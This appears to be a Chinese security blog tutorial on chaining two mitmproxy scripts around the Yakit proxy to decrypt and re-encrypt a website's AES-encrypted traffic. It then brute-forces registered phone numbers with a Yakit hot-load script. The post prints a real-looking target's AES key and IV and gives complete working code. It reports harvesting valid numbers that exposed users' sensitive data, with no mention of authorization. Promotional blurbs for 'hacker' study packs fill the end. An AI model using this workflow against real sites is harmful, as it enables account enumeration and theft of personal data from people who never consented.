实战自动化加解密&加密场景下的暴力破解,黑客技术零基础入门到精通实战教程!

场景

拿到一个站,请求和响应中的数据均经过加密,但是我们想在测试中看到明文数据并可以修改

前两天看到有个师傅的使用双层mitmproxy代理实现自动化加解密的思路,今天来实现一下。

顺便回忆一下该场景下使用 Yakit 热加载进行数据暴力破解。

思路

请求:

设置下游代理捕获浏览器的请求解密–>Yakit -->上游代理代理再把数据加密发送到服务端。

响应:

设置上游代理捕获浏览器的请求解密–>Yakit -->下游代理代理再把数据加密发送到浏览器。

上游代理:离原始服务器更近的代理服务器。

下游代理:离客户端更近的代理服务器。

我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~

请求自动化加解密

通过一个真实的案例来分析一下

某系统

在这里插入图片描述

使用手机号进行操作,未注册用户需完善信息。注册过的用户猜测可以直接看到一些敏感信息

在这里插入图片描述

现在的思路就是收集手机号,进行爆破。

在这里插入图片描述

从数据包可以看出来,对登录的手机号进行了加密。我们到浏览器找一下使用的加密算法

encrypt

通过关键词搜索直接定位到其代码逻辑

在这里插入图片描述

分析得到

key:60427a4badf685bd
iv:0c67da205a1f6f57
padding: Pkcs7

我们可以编写编写一个加解密的代码

from Crypto.Cipher import AES  
import base64  

def aes\_encrypt(plaintext, key, iv):  
    \# 将明文转换为字节串  
    plaintext \= plaintext.encode('utf-8')  
    \# 创建AES加密对象,使用CBC模式  
    cipher \= AES.new(key, AES.MODE\_CBC, iv)  
    \# 计算需要填充的字节数  
    padding\_length \= AES.block\_size \- len(plaintext) % AES.block\_size  
    \# 进行填充  
    padding \= bytes(\[padding\_length\] \* padding\_length)  
    plaintext \= plaintext + padding  
    \# 进行加密  
    ciphertext \= cipher.encrypt(plaintext)  
    \# 将加密结果进行base64编码并返回  
    return base64.b64encode(ciphertext).decode('utf-8')  

def aes\_encrypt2(plaintext):  
    key \= b'60427a4badf685bd'  
    iv \= b'0c67da205a1f6f57'  
    return aes\_encrypt(plaintext, key, iv)  

def aes\_decrypt(ciphertext, key, iv):  
    \# 对密文进行base64解码  
    ciphertext \= base64.b64decode(ciphertext)  
    \# 创建AES解密对象  
    cipher \= AES.new(key, AES.MODE\_CBC, iv)  
    \# 解密  
    plaintext \= cipher.decrypt(ciphertext)  
    \# 去除填充(假设使用PKCS7填充)  
    padding\_length \= plaintext\[\-1\]  
    plaintext \= plaintext\[: \-padding\_length\]  
    return plaintext.decode('utf-8')  

def aes\_decrypt2(ciphertext):  
    \# ciphertext = "FIUVPgUtB4rcKmBgWY7LeNui4nDwImR52FceKRlDzwU0KdTVkTPtpxyfZ1Zt3eCB"  
    key \= "60427a4badf685bd".encode('utf - 8')  
    iv \= "0c67da205a1f6f57".encode('utf - 8')  
    return aes\_decrypt(ciphertext, key, iv)

Mitmproxy代理

请求

下游代理解密

使用下游代理把从浏览器发送过来的加密请求数据进行解密,发送给 Yakit

import json  
from mitmproxy.http import HTTPFlow  
from decrypt import \*  

def request(flow: HTTPFlow):  
    \# burp下游代理: 把从浏览器发送过来的加密请求数据进行解密,发送给burp  
    try:  
        if "/xxx/xxx/xxx" in flow.request.url:  
            data \= json.loads(flow.request.content.decode())  
            if data:  
                encrypt\_text \= data\['data'\]  
                print("请求加密数据:", encrypt\_text)  
                \# 解密  
                decrypt\_text \= aes\_decrypt2(encrypt\_text)  
                print("请求解密数据:", decrypt\_text)  

                flow.request.content \= decrypt\_text.encode()  
    except Exception as e:  
        pass

启动

mitmdump -q -p 8888 -s .\aes_decrypt.py --mode upstream:http://127.0.0.1:8083/ --ssl-insecure

浏览器代理

在这里插入图片描述

此时到 Yakit 的数据包已经是明文了

在这里插入图片描述

现在需要解决的问题就是还需把数据在加密返回给服务端,这是就需要在设置一个上游代理来进行加密操作

我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~

上游代理加密

使用上游代理把从 Yakit发送过来的加密请求数据进行加密,发送给服务端

import json  
from mitmproxy.http import HTTPFlow  
from decrypt import \*  

def request(flow: HTTPFlow):  
    \# burp上游代理: 把从burp发送过来的解密数据重新进行加密,发送给服务端  
    try:  
        if "/xxx/xxx/xxx" in flow.request.url:  
            data \= json.loads(flow.request.content.decode())  
            if data:  
                decrypt\_text \= json.dumps(data)  
                print("请求加密数据:", decrypt\_text)  
                \# 加密  
                encrypt\_text \= aes\_encrypt2(str(decrypt\_text))  
                print("请求加密数据:", encrypt\_text)  
                temp \= {'data': encrypt\_text}  
                flow.request.content \= json.dumps(temp, ensure\_ascii\=False).encode()  
    except Exception as e:  
        pass

启动

mitmdump -q -p 8989 -s .\aes_encrypt.py

在这里插入图片描述
在这里插入图片描述

响应

上游代理解密

使用上游代理把从服务端发送过来的加密请求数据进行解密,发送给 Yakit

def response(flow: HTTPFlow):  
    # burp上游代理: 把从服务端获取到的加密响应数据进行解密,发送给burp  
    try:  
        if "/iccm/h5/visitor/" in flow.request.url:  
            data = json.loads(flow.response.content.decode())  
            if data:  
                encrypt_text = data['data']  
                print("响应解密数据:", encrypt_text)  
                # 解密  
                decrypt_text = aes_decrypt2(encrypt_text)  
                decrypt_text = json.loads(decrypt_text)  

                # 合并数据  
                data["data"] = decrypt_text  
                # 转化为json  
                decrypt_text = json.dumps(data, ensure_ascii=False)  
                print("解密数据:", decrypt_text)  
                flow.response.content = decrypt_text.encode()  
    except Exception as e:  
        pass
下游代理加密

使用下游代理把从 Yakit发送过来的加密请求数据进行解密,发送给浏览器

def response(flow: HTTPFlow):  
    # burp下游代理: 把从burp获取到的解密响应数据重新进行加密,发送给浏览器,使浏览器页面能够渲染数据  
    try:  
        if "/iccm/h5/visitor/" in flow.request.url:  
            data = json.loads(flow.response.content.decode())  
            if data:  
                decrypt_text = json.dumps(data)  
                print("响应加密数据:", decrypt_text)  
                decrypt_text = data['data']  
                decrypt_text = json.dumps(decrypt_text)  
                # 加密  
                encrypt_text = aes_encrypt2(decrypt_text)  

                # 合并数据  
                data["data"] = encrypt_text  
                encrypt_text = json.dumps(data, ensure_ascii=False)  

                print("响应加密数据:", encrypt_text)  
                flow.response.content = encrypt_text.encode()  
    except Exception as e:  
        pass

最终效果

经过 yakit 的数据已经变成明文,加密前后对比

解密前

在这里插入图片描述

在这里插入图片描述

解密后

在这里插入图片描述

在这里插入图片描述

Yakit 热加载-爆破

如果只是单纯的爆破数据的话,个人感觉使用 Yakit 更为简单。

详细:https://mp.weixin.qq.com/s/x-A-ZWqE8C-HN6k9Y2QBbw

热加载模块中编写代码:

dncryptAesCbc \= func(p) {    
  key \= "60427a4badf685bd"  
  iv \= "0c67da205a1f6f57"   
resultList \= \[\]  
  phoneDict \= x"{{payload(phone)}}" // 我们可以使用x前缀字符串来通过fuzztag语法获取phone字典中的值      
for phone in phoneDict {  
    m \= {"verifyCode":"","phone":phone}  
    jsonInput \= json.dumps(m)  
    result \= codec.AESCBCEncryptWithPKCS7Padding(key, jsonInput, iv)~    
    base64Result \= codec.EncodeBase64(result)  
    r\={"data":base64Result}    
    resultList.Append(r)  
  }      
  return resultList   
}

调试

在这里插入图片描述

效果

在这里插入图片描述

总结

最后也是成功爆破除出了一些可利用手机号,并和刚开始的猜想一样,泄露了一些敏感数据

在这里插入图片描述

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,请看下方扫描即可前往获取

👉1.成长路线图&学习规划👈

要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

在这里插入图片描述
在这里插入图片描述

👉2.网安入门到进阶视频教程👈

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。(全套教程扫描领取哈)
在这里插入图片描述
在这里插入图片描述

👉3.SRC&黑客文档👈

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:
在这里插入图片描述
黑客资料由于是敏感资源,这里不能直接展示哦! (全套教程扫描领取哈)

👉4.护网行动资料👈

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!
在这里插入图片描述

👉5.黑客必读书单👈

在这里插入图片描述

👉6.网络安全岗面试题合集👈

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
在这里插入图片描述

所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值